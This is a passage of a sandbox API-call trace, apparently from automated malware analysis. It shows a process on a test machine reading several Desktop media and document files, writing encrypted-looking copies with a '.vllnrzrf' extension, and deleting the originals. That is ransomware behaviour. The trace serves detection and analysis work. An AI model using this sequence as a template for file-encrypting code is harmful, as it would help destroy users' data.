lpOldMode=0x1d00e3b0) returned 1 [0086.625] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\fT-izWRtqFXfhb4wc.mkv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\ft-izwrtqfxfhb4wc.mkv"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x45c [0086.626] GetFileType (hFile=0x45c) returned 0x1 [0086.626] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1d00e320) returned 1 [0086.626] GetFileType (hFile=0x45c) returned 0x1 [0086.626] GetFileSize (in: hFile=0x45c, lpFileSizeHigh=0x1d00e548 | out: lpFileSizeHigh=0x1d00e548*=0x0) returned 0x7108 [0086.626] ReadFile (in: hFile=0x45c, lpBuffer=0x2365040, nNumberOfBytesToRead=0x7108, lpNumberOfBytesRead=0x1d00e478, lpOverlapped=0x0 | out: lpBuffer=0x2365040*, lpNumberOfBytesRead=0x1d00e478*=0x7108, lpOverlapped=0x0) returned 1 [0086.627] CloseHandle (hObject=0x45c) returned 1 [0086.741] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\fT-izWRtqFXfhb4wc.mkv.vllnrzrf", nBufferLength=0x105, lpBuffer=0x1d00ded0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\fT-izWRtqFXfhb4wc.mkv.vllnrzrf", lpFilePart=0x0) returned 0x44 [0086.742] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1d00e3b0) returned 1 [0086.742] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\fT-izWRtqFXfhb4wc.mkv.vllnrzrf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\ft-izwrtqfxfhb4wc.mkv.vllnrzrf"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x45c [0086.744] GetFileType (hFile=0x45c) returned 0x1 [0086.744] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1d00e320) returned 1 [0086.810] GetFileType (hFile=0x45c) returned 0x1 [0086.810] WriteFile (in: hFile=0x45c, lpBuffer=0x239c550*, nNumberOfBytesToWrite=0x7308, lpNumberOfBytesWritten=0x1d00e4d8, lpOverlapped=0x0 | out: lpBuffer=0x239c550*, lpNumberOfBytesWritten=0x1d00e4d8*=0x7308, lpOverlapped=0x0) returned 1 [0086.812] CloseHandle (hObject=0x45c) returned 1 [0086.817] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\fT-izWRtqFXfhb4wc.mkv", nBufferLength=0x105, lpBuffer=0x1d00ded0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\fT-izWRtqFXfhb4wc.mkv", lpFilePart=0x0) returned 0x3b [0086.817] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\fT-izWRtqFXfhb4wc.mkv", nBufferLength=0x105, lpBuffer=0x1d00e070, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\fT-izWRtqFXfhb4wc.mkv", lpFilePart=0x0) returned 0x3b [0086.817] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\fT-izWRtqFXfhb4wc.mkv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\ft-izwrtqfxfhb4wc.mkv")) returned 1 [0086.821] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\GNLIVzXtjqfLCzR.mp3", nBufferLength=0x105, lpBuffer=0x1d00ded0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\GNLIVzXtjqfLCzR.mp3", lpFilePart=0x0) returned 0x39 [0086.821] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\GNLIVzXtjqfLCzR.mp3", nBufferLength=0x105, lpBuffer=0x1d00ded0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\GNLIVzXtjqfLCzR.mp3", lpFilePart=0x0) returned 0x39 [0086.821] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\GNLIVzXtjqfLCzR.mp3", nBufferLength=0x105, lpBuffer=0x1d00ded0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\GNLIVzXtjqfLCzR.mp3", lpFilePart=0x0) returned 0x39 [0086.821] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1d00e3b0) returned 1 [0086.821] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\GNLIVzXtjqfLCzR.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\gnlivzxtjqflczr.mp3"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x45c [0086.821] GetFileType (hFile=0x45c) returned 0x1 [0086.821] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1d00e320) returned 1 [0086.821] GetFileType (hFile=0x45c) returned 0x1 [0086.821] GetFileSize (in: hFile=0x45c, lpFileSizeHigh=0x1d00e548 | out: lpFileSizeHigh=0x1d00e548*=0x0) returned 0x157ab [0086.822] ReadFile (in: hFile=0x45c, lpBuffer=0x1247a970, nNumberOfBytesToRead=0x157ab, lpNumberOfBytesRead=0x1d00e478, lpOverlapped=0x0 | out: lpBuffer=0x1247a970*, lpNumberOfBytesRead=0x1d00e478*=0x157ab, lpOverlapped=0x0) returned 1 [0086.825] CloseHandle (hObject=0x45c) returned 1 [0086.885] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\GNLIVzXtjqfLCzR.mp3.vllnrzrf", nBufferLength=0x105, lpBuffer=0x1d00ded0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\GNLIVzXtjqfLCzR.mp3.vllnrzrf", lpFilePart=0x0) returned 0x42 [0086.886] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1d00e3b0) returned 1 [0086.886] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\GNLIVzXtjqfLCzR.mp3.vllnrzrf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\gnlivzxtjqflczr.mp3.vllnrzrf"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x45c [0086.887] GetFileType (hFile=0x45c) returned 0x1 [0086.887] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1d00e320) returned 1 [0086.887] GetFileType (hFile=0x45c) returned 0x1 [0086.887] WriteFile (in: hFile=0x45c, lpBuffer=0x124fb7e8*, nNumberOfBytesToWrite=0x159ab, lpNumberOfBytesWritten=0x1d00e4d8, lpOverlapped=0x0 | out: lpBuffer=0x124fb7e8*, lpNumberOfBytesWritten=0x1d00e4d8*=0x159ab, lpOverlapped=0x0) returned 1 [0086.889] CloseHandle (hObject=0x45c) returned 1 [0086.892] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\GNLIVzXtjqfLCzR.mp3", nBufferLength=0x105, lpBuffer=0x1d00ded0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\GNLIVzXtjqfLCzR.mp3", lpFilePart=0x0) returned 0x39 [0086.892] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\GNLIVzXtjqfLCzR.mp3", nBufferLength=0x105, lpBuffer=0x1d00e070, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\GNLIVzXtjqfLCzR.mp3", lpFilePart=0x0) returned 0x39 [0086.892] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\GNLIVzXtjqfLCzR.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\gnlivzxtjqflczr.mp3")) returned 1 [0086.894] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\HIUNA9uXt V.bmp", nBufferLength=0x105, lpBuffer=0x1d00ded0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\HIUNA9uXt V.bmp", lpFilePart=0x0) returned 0x35 [0086.895] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\HIUNA9uXt V.bmp", nBufferLength=0x105, lpBuffer=0x1d00ded0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\HIUNA9uXt V.bmp", lpFilePart=0x0) returned 0x35 [0086.895] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\HIUNA9uXt V.bmp", nBufferLength=0x105, lpBuffer=0x1d00ded0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\HIUNA9uXt V.bmp", lpFilePart=0x0) returned 0x35 [0086.895] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1d00e3b0) returned 1 [0086.895] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\HIUNA9uXt V.bmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\hiuna9uxt v.bmp"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x45c [0086.895] GetFileType (hFile=0x45c) returned 0x1 [0086.895] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1d00e320) returned 1 [0086.895] GetFileType (hFile=0x45c) returned 0x1 [0086.895] GetFileSize (in: hFile=0x45c, lpFileSizeHigh=0x1d00e548 | out: lpFileSizeHigh=0x1d00e548*=0x0) returned 0xf982 [0086.895] ReadFile (in: hFile=0x45c, lpBuffer=0x23c5b50, nNumberOfBytesToRead=0xf982, lpNumberOfBytesRead=0x1d00e478, lpOverlapped=0x0 | out: lpBuffer=0x23c5b50*, lpNumberOfBytesRead=0x1d00e478*=0xf982, lpOverlapped=0x0) returned 1 [0086.897] CloseHandle (hObject=0x45c) returned 1 [0086.910] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\HIUNA9uXt V.bmp.vllnrzrf", nBufferLength=0x105, lpBuffer=0x1d00ded0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\HIUNA9uXt V.bmp.vllnrzrf", lpFilePart=0x0) returned 0x3e [0086.910] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1d00e3b0) returned 1 [0086.910] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\HIUNA9uXt V.bmp.vllnrzrf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\hiuna9uxt v.bmp.vllnrzrf"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x45c [0086.989] GetFileType (hFile=0x45c) returned 0x1 [0086.989] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1d00e320) returned 1 [0086.989] GetFileType (hFile=0x45c) returned 0x1 [0086.989] WriteFile (in: hFile=0x45c, lpBuffer=0x241cbf8*, nNumberOfBytesToWrite=0xfb82, lpNumberOfBytesWritten=0x1d00e4d8, lpOverlapped=0x0 | out: lpBuffer=0x241cbf8*, lpNumberOfBytesWritten=0x1d00e4d8*=0xfb82, lpOverlapped=0x0) returned 1 [0086.991] CloseHandle (hObject=0x45c) returned 1 [0086.993] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\HIUNA9uXt V.bmp", nBufferLength=0x105, lpBuffer=0x1d00ded0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\HIUNA9uXt V.bmp", lpFilePart=0x0) returned 0x35 [0086.993] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\HIUNA9uXt V.bmp", nBufferLength=0x105, lpBuffer=0x1d00e070, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\HIUNA9uXt V.bmp", lpFilePart=0x0) returned 0x35 [0086.993] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\HIUNA9uXt V.bmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\hiuna9uxt v.bmp")) returned 1 [0086.997] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\MtXh2Pv--40 wWDFTv.odt", nBufferLength=0x105, lpBuffer=0x1d00ded0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\MtXh2Pv--40 wWDFTv.odt", lpFilePart=0x0) returned 0x3c [0086.997] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\MtXh2Pv--40 wWDFTv.odt", nBufferLength=0x105, lpBuffer=0x1d00ded0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\MtXh2Pv--40 wWDFTv.odt", lpFilePart=0x0) returned 0x3c [0086.997] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\MtXh2Pv--40 wWDFTv.odt", nBufferLength=0x105, lpBuffer=0x1d00ded0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\MtXh2Pv--40 wWDFTv.odt", lpFilePart=0x0) returned 0x3c [0086.997] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1d00e3b0) returned 1 [0086.997] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\MtXh2Pv--40 wWDFTv.odt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\mtxh2pv--40 wwdftv.odt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x45c [0086.997] GetFileType (hFile=0x45c) returned 0x1 [0086.997] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1d00e320) returned 1 [0086.997] GetFileType (hFile=0x45c) returned 0x1 [0086.997] GetFileSize (in: hFile=0x45c, lpFileSizeHigh=0x1d00e548 | out: lpFileSizeHigh=0x1d00e548*=0x0) returned 0xb49a [0086.998] ReadFile (in: hFile=0x45c, lpBuffer=0x242d350, nNumberOfBytesToRead=0xb49a, lpNumberOfBytesRead=0x1d00e478, lpOverlapped=0x0 | out: lpBuffer=0x242d350*, lpNumberOfBytesRead=0x1d00e478*=0xb49a, lpOverlapped=0x0) returned 1 [0087.000] CloseHandle (hObject=0x45c) returned 1 [0087.023] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\MtXh2Pv--40 wWDFTv.odt.vllnrzrf", nBufferLength=0x105, lpBuffer=0x1d00ded0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\MtXh2Pv--40 wWDFTv.odt.vllnrzrf", lpFilePart=0x0) returned 0x45 [0087.023] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1d00e3b0) returned 1 [0087.023] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\MtXh2Pv--40 wWDFTv.odt.vllnrzrf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\mtxh2pv--40 wwdftv.odt.vllnrzrf"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x484 [0087.024] GetFileType (hFile=0x484) returned 0x1 [0087.024] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1d00e320) returned 1 [0087.024] GetFileType (hFile=0x484) returned 0x1 [0087.024] WriteFile (in: hFile=0x484, lpBuffer=0x22085b8*, nNumberOfBytesToWrite=0xb69a, lpNumberOfBytesWritten=0x1d00e4d8, lpOverlapped=0x0 | out: lpBuffer=0x22085b8*, lpNumberOfBytesWritten=0x1d00e4d8*=0xb69a, lpOverlapped=0x0) returned 1 [0087.026] CloseHandle (hObject=0x484) returned 1 [0087.029] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\MtXh2Pv--40 wWDFTv.odt", nBufferLength=0x105, lpBuffer=0x1d00ded0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\MtXh2Pv--40 wWDFTv.odt", lpFilePart=0x0) returned 0x3c [0087.029] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\MtXh2Pv--40 wWDFTv.odt", nBufferLength=0x105, lpBuffer=0x1d00e070, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\MtXh2Pv--40 wWDFTv.odt", lpFilePart=0x0) returned 0x3c [0087.029] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\MtXh2Pv--40 wWDFTv.odt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\mtxh2pv--40 wwdftv.odt")) returned 1 [0087.033] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\nlhsbZ1XzdA44k4H.wav", nBufferLength=0x105, lpBuffer=0x1d00ded0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\nlhsbZ1XzdA44k4H.wav", lpFilePart=0x0) returned 0x3a [0087.033] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\nlhsbZ1XzdA44k4H.wav", nBufferLength=0x105, lpBuffer=0x1d00ded0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\nlhsbZ1XzdA44k4H.wav", lpFilePart=0x0) returned 0x3a [0087.033] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\nlhsbZ1XzdA44k4H.wav", nBufferLength=0x105, lpBuffer=0x1d00ded0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\nlhsbZ1XzdA44k4H.wav", lpFilePart=0x0) returned 0x3a [0087.033] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1d00e3b0) returned 1 [0087.033] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\nlhsbZ1XzdA44k4H.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\nlhsbz1xzda44k4h.wav"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x484 [0087.033] GetFileType (hFile=0x484) returned 0x1 [0087.033] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1d00e320) returned 1 [0087.033] GetFileType (hFile=0x484) returned 0x1 [0087.034] GetFileSize (in: hFile=0x484, lpFileSizeHigh=0x1d00e548 | out: lpFileSizeHigh=0x1d00e548*=0x0) returned 0x1792 [0087.034] ReadFile (in: hFile=0x484, lpBuffer=0x2214840, nNumberOfBytesToRead=0x1792, lpNumberOfBytesRead=0x1d00e478, lpOverlapped=0x0 | out: lpBuffer=0x2214840*, lpNumberOfBytesRead=0x1d00e478*=0x1792, lpOverlapped=0x0) returned 1 [0087.048] CloseHandle (hObject=0x484) returned 1 [0087.053] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\nlhsbZ1XzdA44k4H.wav.vllnrzrf", nBufferLength=0x105, lpBuffer=0x1d00ded0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\nlhsbZ1XzdA44k4H.wav.vllnrzrf", lpFilePart=0x0) returned 0x43 [0087.053] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1d00e3b0) returned 1 [0087.053] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\nlhsbZ1XzdA44k4H.wav.vllnrzrf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\nlhsbz1xzda44k4h.wav.vllnrzrf"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x484 [0087.054] GetFileType (hFile=0x484) returned 0x1 [0087.054] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1d00e320) returned 1 [0087.054] GetFileType (hFile=0x484) returned 0x1 [0087.054] WriteFile (in: hFile=0x484, lpBuffer=0x2222970*, nNumberOfBytesToWrite=0x1992, lpNumberOfBytesWritten=0x1d00e4d8, lpOverlapped=0x0 | out: lpBuffer=0x2222970*, lpNumberOfBytesWritten=0x1d00e4d8*=0x1992, lpOverlapped=0x0) returned 1 [0087.055] CloseHandle (hObject=0x484) returned 1 [0087.057] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\nlhsbZ1XzdA44k4H.wav", nBufferLength=0x105, lpBuffer=0x1d00ded0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\nlhsbZ1XzdA44k4H.wav", lpFilePart=0x0) returned 0x3a [0087.057] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\nlhsbZ1XzdA44k4H.wav", nBufferLength=0x105, lpBuffer=0x1d00e070, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\nlhsbZ1XzdA44k4H.wav", lpFilePart=0x0) returned 0x3a [0087.057] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\nlhsbZ1XzdA44k4H.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\nlhsbz1xzda44k4h.wav")) returned 1 [0087.059] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\P53o.flv", nBufferLength=0x105, lpBuffer=0x1d00ded0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\P53o.flv", lpFilePart=0x0) returned 0x2e [0087.059] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\P53o.flv", nBufferLength=0x105, lpBuffer=0x1d00ded0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\P53o.flv", lpFilePart=0x0) returned 0x2e [0087.059] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\P53o.flv", nBufferLength=0x105, lpBuffer=0x1d00ded0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\P53o.flv", lpFilePart=0x0) returned 0x2e [0087.059] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1d00e3b0) returned 1 [0087.059] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\P53o.flv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\p53o.flv"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x484 [0087.059] GetFileType (hFile=0x484) returned 0x1 [0087.059] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1d00e320) returned 1 [0087.059] GetFileType (hFile=0x484) returned 0x1 [0087.059] GetFileSize (in: hFile=0x484, lpFileSizeHigh=0x1d00e548 | out: lpFileSizeHigh=0x1d00e548*=0x0) returned 0x143fe [0087.059] ReadFile (in: hFile=0x484, lpBuffer=0x2224e60, nNumberOfBytesToRead=0x143fe, lpNumberOfBytesRead=0x1d00e478, lpOverlapped=0x0 | out: lpBuffer=0x2224e60*, lpNumberOfBytesRead=0x1d00e478*=0x143fe, lpOverlapped=0x0) returned 1 [0087.060] CloseHandle (hObject=0x484) returned 1 [0087.071] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\P53o.flv.vllnrzrf", nBufferLength=0x105, lpBuffer=0x1d00ded0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\P53o.flv.vllnrzrf", lpFilePart=0x0) returned 0x37 [0087.071] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1d00e3b0) returned 1 [0087.071] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\P53o.flv.vllnrzrf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\p53o.flv.vllnrzrf"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x484 [0087.072] GetFileType (hFile=0x484) returned 0x1 [0087.072] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1d00e320) returned 1 [0087.072] GetFileType (hFile=0x484) returned 0x1 [0087.072] WriteFile (in: hFile=0x484, lpBuffer=0x2294ec8*, nNumberOfBytesToWrite=0x145fe, lpNumberOfBytesWritten=0x1d00e4d8, lpOverlapped=0x0 | out: lpBuffer=0x2294ec8*, lpNumberOfBytesWritten=0x1d00e4d8*=0x145fe, lpOverlapped=0x0) returned 1 [0087.074] CloseHandle (hObject=0x484) returned 1 [0087.078] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\P53o.flv", nBufferLength=0x105, lpBuffer=0x1d00ded0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\P53o.flv", lpFilePart=0x0) returned 0x2e [0087.078] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\P53o.flv", nBufferLength=0x105, lpBuffer=0x1d00e070, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\P53o.flv", lpFilePart=0x0) returned 0x2e [0087.078] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\P53o.flv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\p53o.flv")) returned 1 [0087.081] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\PtOjhzy.bmp", nBufferLength=0x105, lpBuffer=0x1d00ded0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\PtOjhzy.bmp", lpFilePart=0x0) returned 0x31 [0087.081] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\PtOjhzy.bmp", nBufferLength=0x105, lpBuffer=0x1d00ded0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\PtOjhzy.bmp", lpFilePart=0x0) returned 0x31 [0087.081] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\PtOjhzy.bmp", nBufferLength=0x105, lpBuffer=0x1d00ded0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\PtOjhzy.bmp", lpFilePart=0x0) returned 0x31 [0087.081] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1d00e3b0) returned 1 [0087.081] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS 